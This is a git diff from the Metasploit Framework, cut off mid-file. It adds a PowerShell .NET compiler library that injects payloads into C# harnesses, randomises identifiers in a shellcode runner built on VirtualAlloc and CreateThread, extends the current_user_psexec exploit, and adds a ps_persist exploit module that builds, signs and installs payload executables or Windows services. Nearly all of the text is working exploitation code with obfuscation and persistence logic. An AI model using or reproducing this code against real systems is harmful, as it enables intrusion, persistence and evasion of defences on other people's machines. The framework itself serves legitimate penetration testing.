+		return results
182 235
 	end
183 236
 
184 237
 	def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
@@ -187,18 +240,18 @@ def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [],
187 240
 		env_del_command += "Select-String #{env_suffix}|%{"
188 241
 		env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
189 242
 		script = compress_script(env_del_command, eof)
190  
-		cmd_out, running_pids, open_channels = *execute_script(script)
191  
-		write_to_log(cmd_out, "/dev/null", eof)
  243
+		cmd_out, new_running_pids, new_open_channels = *execute_script(script)
  244
+		get_ps_output(cmd_out, eof)
192 245
 
193 246
 		# Kill running processes
194  
-		running_pids.each() do |pid|
  247
+		(running_pids + new_running_pids).each do |pid|
195 248
 			session.sys.process.kill(pid)
196 249
 		end
197 250
 
198 251
 
199 252
 		# Close open channels
200  
-		open_channels.each() do |chan|
201  
-			chan.channel.close()
  253
+		(open_channels + new_open_channels).each do |chan|
  254
+			chan.channel.close
202 255
 		end
203 256
 
204 257
 		::File.delete(script_file) if (script_file and delete)
@@ -206,5 +259,6 @@ def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [],
206 259
 		return
207 260
 	end
208 261
 
  262
+
209 263
 end; end; end; end
210 264
 
171  lib/msf/core/post/windows/powershell/dot_net.rb
... ...
@@ -0,0 +1,171 @@
  1
+# -*- coding: binary -*-
  2
+module Msf
  3
+class Post
  4
+module Windows
  5
+
  6
+module Powershell
  7
+module DotNet
  8
+
  9
+	def initialize(info = {})
  10
+		super
  11
+		register_advanced_options(
  12
+		[
  13
+			OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
  14
+
  15
+		], self.class)
  16
+	end
  17
+
  18
+	def dot_net_compiler(opts = {})
  19
+		#TODO: 
  20
+		# allow compilation entirely in memory with a b64 encoded product for export without disk access
  21
+		# Dynamically assign assemblies based on dot_net_code require/includes
  22
+		# 	Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS
  23
+
  24
+		# Critical
  25
+		dot_net_code = opts[:harness]
  26
+		if ::File.file?(dot_net_code)
  27
+			dot_net_code = ::File.read(dot_net_code)
  28
+			#vprint_good("Read file in #{dot_net_code.encoding.name} encoding")
  29
+		end
  30
+		return if dot_net_code.nil? or dot_net_code.empty?
  31
+
  32
+		# Ensure we're not running ASCII-8bit through powershell
  33
+		dot_net_code = dot_net_code.force_encoding('ASCII')
  34
+
  35
+		# Optional
  36
+		provider = opts[:provider] || 'Microsoft.CSharp.CSharpCodeProvider' # This should also work with 'Microsoft.VisualBasic.VBCodeProvider'
  37
+		target = opts[:target] # Unless building assemblies in memory only
  38
+		certificate = opts[:cert] # PFX certificate path
  39
+		payload = opts[:payload]
  40
+
  41
+		assemblies = ["mscorlib.dll", "System.dll", "System.Xml.dll", "System.Data.dll", "System.Net.dll"]
  42
+		if opts[:assemblies]
  43
+			opts[:assemblies] = opts[:assemblies].split(',').map {|a| agsub(/\s+/,'')} unless opts[:assemblies].is_a?(Array)
  44
+			assemblies += opts[:assemblies]
  45
+		end
  46
+		# 	# Read our code, attempt to find required assemblies
  47
+		# 	inc_var = provider == 'Microsoft.VisualBasic.VBCodeProvider' ? 'imports' : 'using'
  48
+		# 	assemblies =+ dot_net_code.split("\n").keep_if {|line| line =~ /^#{inc_var}.*;/i }.map do |dep| 
  49
+		# 		dep[dep.index(/\s/)+1..-2] + '.dll'
  50
+		# 	end
  51
+		# end
  52
+		assemblies = assemblies.uniq.compact
  53
+
  54
+		compiler_opts = opts[:com_opts] || '/platform:x86 /optimize'
  55
+
  56
+
  57
+		if payload
  58
+			dot_net_code = dot_net_code.gsub('MSF_PAYLOAD_SPACE', payload)
  59
+		end
  60
+
  61
+		var_gen_exe = target ? '$true' : '$false'
  62
+
  63
+		# Obfu
  64
+		var_func = Rex::Text.rand_text_alpha(rand(8)+8)
  65
+		var_code = Rex::Text.rand_text_alpha(rand(8)+8)
  66
+		var_refs = Rex::Text.rand_text_alpha(rand(8)+8)
  67
+		var_provider = Rex::Text.rand_text_alpha(rand(8)+8)
  68
+		var_params = Rex::Text.rand_text_alpha(rand(8)+8)
  69
+		var_output = Rex::Text.rand_text_alpha(rand(8)+8)
  70
+		var_cert = Rex::Text.rand_text_alpha(rand(8)+8)
  71
+
  72
+		compiler = <<EOS
  73
+function #{var_func} {
  74
+param (
  75
+[string[]] $#{var_code} 
  76
+, [string[]] $references = @()
  77
+)
  78
+$#{var_provider} = New-Object #{provider}
  79
+$#{var_params} = New-Object System.CodeDom.Compiler.CompilerParameters
  80
+@( "#{assemblies.join('", "')}", ([System.Reflection.Assembly]::GetAssembly( [PSObject] ).Location) ) | Sort -unique |% { $#{var_params}.ReferencedAssemblies.Add( $_ ) } | Out-Null
  81
+$#{var_params}.GenerateExecutable = #{var_gen_exe}
  82
+$#{var_params}.OutputAssembly = "#{target}"
  83
+$#{var_params}.GenerateInMemory   = $true
  84
+$#{var_params}.CompilerOptions = "#{compiler_opts}"
  85
+# $#{var_params}.IncludeDebugInformation = $true
  86
+$#{var_output} = $#{var_provider}.CompileAssemblyFromSource( $#{var_params}, $#{var_code} )
  87
+if ( $#{var_output}.Errors.Count -gt 0 ) {
  88
+$#{var_output}.Errors |% { Write-Error $_.ToString() }
  89
+} else { return $#{var_output}.CompiledAssembly}        
  90
+}
  91
+#{var_func} -#{var_code} @'
  92
+
  93
+#{dot_net_code}
  94
+
  95
+'@
  96
+
  97
+EOS
  98
+
  99
+		if certificate and target
  100
+			compiler += <<EOS
  101
+#{var_cert} = Get-PfxCertificate #{certificate}
  102
+Set-AuthenticodeSignature -Filepath #{target} -Cert #{var_cert}
  103
+
  104
+
  105
+EOS
  106
+
  107
+
  108
+		end
  109
+		# PS uses .NET 2.0 by default which doesnt work @ present (20120814, RLTM)
  110
+		# x86 targets also need to be compiled in x86 powershell instance
  111
+		run_32 = compiler_opts =~ /platform:x86/i ? true : false
  112
+		if opts[:net_clr] and opts[:net_clr] > 2 # PS before 3.0 natively uses NET 2
  113
+			return elevate_net_clr(compiler, run_32, opts[:net_clr]) 
  114
+		else
  115
+			return compiler
  116
+		end
  117
+
  118
+	end
  119
+
  120
+	def elevate_net_clr(ps_code, run_32 = false, net_ver = '4.0')
  121
+		var_func = Rex::Text.rand_text_alpha(rand(8)+8)
  122
+		var_conf_path = Rex::Text.rand_text_alpha(rand(8)+8)
  123
+		var_env_name = Rex::Text.rand_text_alpha(rand(8)+8)
  124
+		var_env_old = Rex::Text.rand_text_alpha(rand(8)+8)
  125
+		var_run32 = Rex::Text.rand_text_alpha(rand(8)+8)
  126
+
  127
+		exec_wrapper = <<EOS
  128
+function #{var_func} {
  129
+[CmdletBinding()]
  130
+param (
  131
+[Parameter(Mandatory=$true)]
  132
+[ScriptBlock]
  133
+$ScriptBlock
  134
+)
  135
+$#{var_run32} = $#{run_32.to_s}
  136
+if ($PSVersionTable.CLRVersion.Major -eq #{net_ver.to_i}) {
  137
+Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList $ArgumentList
  138
+return
  139
+}
  140
+$#{var_conf_path} = $Env:TEMP | Join-Path -ChildPath ([Guid]::NewGuid())
  141
+New-Item -Path $#{var_conf_path} -ItemType Container | Out-Null
  142
+@"
  143
+<?xml version="1.0" encoding="utf-8" ?>
  144
+<configuration>
  145
+<startup useLegacyV2RuntimeActivationPolicy="true">
  146
+<supportedRuntime version="v#{net_ver.to_f}"/>
  147
+</startup>
  148
+</configuration>
  149
+"@ | Set-Content -Path $#{var_conf_path}/powershell.exe.activation_config -Encoding UTF8
  150
+$#{var_env_name} = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath'
  151
+$#{var_env_old} = [Environment]::GetEnvironmentVariable($#{var_env_name})
  152
+[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_conf_path})
  153
+try { if ($#{var_run32} -and [IntPtr]::size -eq 8 ) {
  154
+&"$env:windir\\syswow64\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
  155
+} else {
  156
+&"$env:windir\\system32\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
  157
+}} finally {
  158
+[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_env_old})
  159
+$#{var_conf_path} | Remove-Item -Recurse
  160
+}
  161
+}
  162
+#{var_func} -ScriptBlock { 
  163
+#{ps_code}
  164
+}
  165
+
  166
+
  167
+EOS
  168
+
  169
+	end
  170
+
  171
+end; end; end; end; end
9  lib/msf/util/exe.rb
@@ -1089,12 +1089,13 @@ def self.to_win32pe_psh_net(framework, code, opts={})
1089 1089
 		var_codeProvider = Rex::Text.rand_text_alpha(rand(8)+8)
1090 1090
 		var_compileParams = Rex::Text.rand_text_alpha(rand(8)+8)
1091 1091
 		var_syscode = Rex::Text.rand_text_alpha(rand(8)+8)
  1092
+		var_function = Rex::Text.rand_text_alpha_lower(rand(8)+8)
1092 1093
 
1093 1094
 		code = code.unpack('C*')
1094 1095
 		psh = "Set-StrictMode -Version 2\r\n"
1095 1096
 		psh << "$#{var_syscode} = @\"\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n"
1096 1097
 		psh << "namespace #{var_kernel32} {\r\n"
1097  
-		psh << "public class func {\r\n"
  1098
+		psh << "public class #{var_function} {\r\n"
1098 1099
 		psh << "[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }\r\n"
1099 1100
 		psh << "[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }\r\n"
1100 1101
 		psh << "[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }\r\n"
@@ -1120,12 +1121,12 @@ def self.to_win32pe_psh_net(framework, code, opts={})
1120 1121
 		end
1121 1122
 		psh << lines.join("") + "\r\n\r\n"
1122 1123
 
1123  
-		psh << "$#{var_baseaddr} = [#{var_kernel32}.func]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.func+AllocationType]::Reserve -bOr [#{var_kernel32}.func+AllocationType]::Commit, [#{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)\r\n"
  1124
+		psh << "$#{var_baseaddr} = [#{var_kernel32}.#{var_function}]::VirtualAlloc(0, $#{var_code}.Length + 1, [#{var_kernel32}.#{var_function}+AllocationType]::Reserve -bOr [#{var_kernel32}.#{var_function}+AllocationType]::Commit, [#{var_kernel32}.#{var_function}+MemoryProtection]::ExecuteReadWrite)\r\n"
1124 1125
 		psh << "if ([Bool]!$#{var_baseaddr}) { $global:result = 3; return }\r\n"
1125 1126
 		psh << "[System.Runtime.InteropServices.Marshal]::Copy($#{var_code}, 0, $#{var_baseaddr}, $#{var_code}.Length)\r\n"
1126  
-		psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.func]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
  1127
+		psh << "[IntPtr] $#{var_threadHandle} = [#{var_kernel32}.#{var_function}]::CreateThread(0,0,$#{var_baseaddr},0,0,0)\r\n"
1127 1128
 		psh << "if ([Bool]!$#{var_threadHandle}) { $global:result = 7; return }\r\n"
1128  
-		psh << "$#{var_temp} = [#{var_kernel32}.func]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.func+Time]::Infinite)\r\n"
  1129
+		psh << "$#{var_temp} = [#{var_kernel32}.#{var_function}]::WaitForSingleObject($#{var_threadHandle}, [#{var_kernel32}.#{var_function}+Time]::Infinite)\r\n"
1129 1130
 	end
1130 1131
 
1131 1132
 	def self.to_win32pe_psh(framework, code, opts={})
29  modules/exploits/windows/local/current_user_psexec.rb
@@ -64,7 +64,11 @@ def initialize(info={})
64 64
 			OptString.new("NAME",     [ false, "Service name on each target in RHOSTS (Default: random)" ]),
65 65
 			OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]),
66 66
 			OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]),
67  
-		])
  67
+		], self.class)
  68
+		register_advanced_options([
  69
+			OptString.new('SERVICE_BIN_PATH', [ false, "Path on host to service binary"]),
  70
+			OptInt.new('EXEC_DELAY', [ true, "Number of seconds to wait for payload execution", 30]),
  71
+		], self.class)
68 72
 	end
69 73
 
70 74
 	def exploit
@@ -90,14 +94,20 @@ def exploit
90 94
 		# Generate an executable from the shellcode and drop it in the share
91 95
 		# directory
92 96
 		filename = "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
93  
-		payload_exe = generate_payload_exe_service(
94  
-			:servicename => name,
95  
-			# XXX Ghetto
96  
-			:arch => payload.send(:pinst).arch.first
97  
-		)
98  
-
99 97
 		print_status("Dropping payload #{filename}")
100  
-		write_file("#{share_dir}\\#{filename}", payload_exe)
  98
+		if datastore['SERVICE_BIN_PATH'] and !datastore['SERVICE_BIN_PATH'].empty?
  99
+			print_status('Using hotness')
  100
+			out = cmd_exec("cmd /c copy #{datastore['SERVICE_BIN_PATH']} #{share_dir}\\#{filename}")
  101
+			vprint_good(out)
  102
+		else
  103
+			payload_exe = generate_payload_exe_service(
  104
+				:servicename => name,
  105
+				# XXX Ghetto
  106
+				:arch => payload.send(:pinst).arch.first
  107
+			)
  108
+
  109
+			write_file("#{share_dir}\\#{filename}", payload_exe)
  110
+		end
101 111
 
102 112
 		service_executable = "\\\\#{share_host}\\#{share_name}\\#{filename}"
103 113
 
@@ -114,7 +124,8 @@ def exploit
114 124
 					# service.
115 125
 					print_status("#{server.ljust(16)} Starting the service")
116 126
 					service_start(name, server)
117  
-
  127
+					print_status("#{server.ljust(16)} Allowing time for payload to run")
  128
+					Rex::ThreadSafe.sleep(datastore['EXEC_DELAY'])
118 129
 					print_status("#{server.ljust(16)} Deleting the service")
119 130
 					service_delete(name, server)
120 131
 				rescue
202  modules/exploits/windows/local/ps_persist.rb
... ...
@@ -0,0 +1,202 @@
  1
+
  2
+##
  3
+# $Id$
  4
+##
  5
+
  6
+##
  7
+# This file is part of the Metasploit Framework and may be subject to
  8
+# redistribution and commercial restrictions. Please see the Metasploit
  9
+# Framework web site for more information on licensing and terms of use.
  10
+# http://metasploit.com/framework/
  11
+##
  12
+
  13
+
  14
+require 'msf/core'
  15
+ require 'msf/core/post/windows/services'
  16
+require 'msf/core/post/windows/powershell'
  17
+require 'msf/core/post/windows/powershell/dot_net'
  18
+
  19
+class Metasploit3 < Msf::Exploit::Local
  20
+	Rank = ExcellentRanking
  21
+
  22
+	include Msf::Post::Windows::WindowsServices
  23
+	include Msf::Post::Windows::Powershell
  24
+	include Msf::Post::Windows::Powershell::DotNet
  25
+
  26
+	def initialize(info={})
  27
+		super(update_info(info,
  28
+			'Name'                 => "Powershell Payload Execution",
  29
+			'Description'          => %q{
  30
+				This module generates a dynamic executable on the session host using .NET templates.
  31
+				Code is pulled from C# templates and impregnated with a payload before being
  32
+				sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
  33
+				the executable (standard or Windows service) in memory and produces a binary
  34
+				which can be started/installed and downloaded for later use. After compilation the 
  35
+				PoweShell session can also sign the executable if provided a path the a .pfx formatted
  36
+				certificate.
  37
+			},
  38
+			'License'              => MSF_LICENSE,
  39
+			'Version'              => '$Revision$',
  40
+			'Author'               => [
  41
+				'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
  42
+				'Matt "hostess" Andreko' # .NET harness, and requested modifications
  43
+			],
  44
+
  45
+			'Payload'        =>  
  46
+				{   
  47
+					'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
  48
+					'EncoderOptions' =>
  49
+				{   
  50
+					'BufferRegister' => 'EAX',
  51
+				},  
  52
+			},
  53
+			'Platform'      => [ 'windows' ],
  54
+			'SessionTypes'  => [ 'meterpreter' ],
  55
+			'Targets' => [ [ 'Universal', {} ] ],
  56
+			'DefaultTarget' => 0,
  57
+
  58
+		))
  59
+
  60
+		register_options(
  61
+			[
  62
+				OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
  63
+				OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
  64
+				OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
  65
+				OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
  66
+				OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),
  67
+
  68
+			], self.class)
  69
+
  70
+		register_advanced_options(
  71
+			[
  72
+				OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
  73
+				OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
  74
+
  75
+			], self.class)
  76
+
  77
+	end
  78
+
  79
+	def exploit
  80
+
  81
+		# Make sure we meet the requirements before running the script
  82
+		if !(session.type == "meterpreter" || have_powershell?)
  83
+			print_error("Incompatible Environment")
  84
+			return 0
  85
+		end
  86
+		# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
  87
+		if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
  88
+			print_error("Cannot run as system")
  89
+			return 0
  90
+		end
  91
+		
  92
+
  93
+
  94
+		# End of file marker
  95
+		eof = Rex::Text.rand_text_alpha(8)
  96
+		env_suffix = Rex::Text.rand_text_alpha(8)
  97
+
  98
+		com_opts = {}
  99
+		com_opts[:net_clr] = '4.0'.to_f # Min .NET runtime to load into a PS session
  100
+		com_opts[:target] = datastore['OUTPUT_TARGET'] || session.fs.file.expand_path('%TEMP%') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
  101
+		com_opts[:payload] = payload_script
  102
+		if datastore['SVC_GEN']
  103
+			com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
  104
+			com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Net.dll', 'System.Configuration.Install.dll']
  105
+		else
  106
+			com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_exe.cs')
  107
+		end
  108
+
  109
+		com_opts[:cert] = datastore['CERT_PATH']
  110
+
  111
+		if datastore['SVC_REMOVE']
  112
+			remove_dyn_service(com_opts[:target])
  113
+			return
  114
+		end
  115
+		vprint_good("Writing to #{com_opts[:target]}")
  116
+		payload = dot_net_compiler(com_opts)
  117
+
  118
+		# Compress
  119
+		print_status('Compressing script contents:')
  120
+		compressed_script = compress_script(payload, eof)
  121
+
  122
+		# If the compressed size is > 8100 bytes, launch stager
  123
+		if (compressed_script.size > 8100)
  124
+			print_error(" - Compressed size: #{compressed_script.size}")
  125
+			error_msg =  "Compressed size may cause command to exceed "
  126
+			error_msg += "cmd.exe's 8kB character limit."
  127
+			print_error(error_msg)
  128
+			print_status('Launching stager:')
  129
+			script = stage_to_env(compressed_script, env_suffix)
  130
+			print_good("Payload successfully staged.")
  131
+		else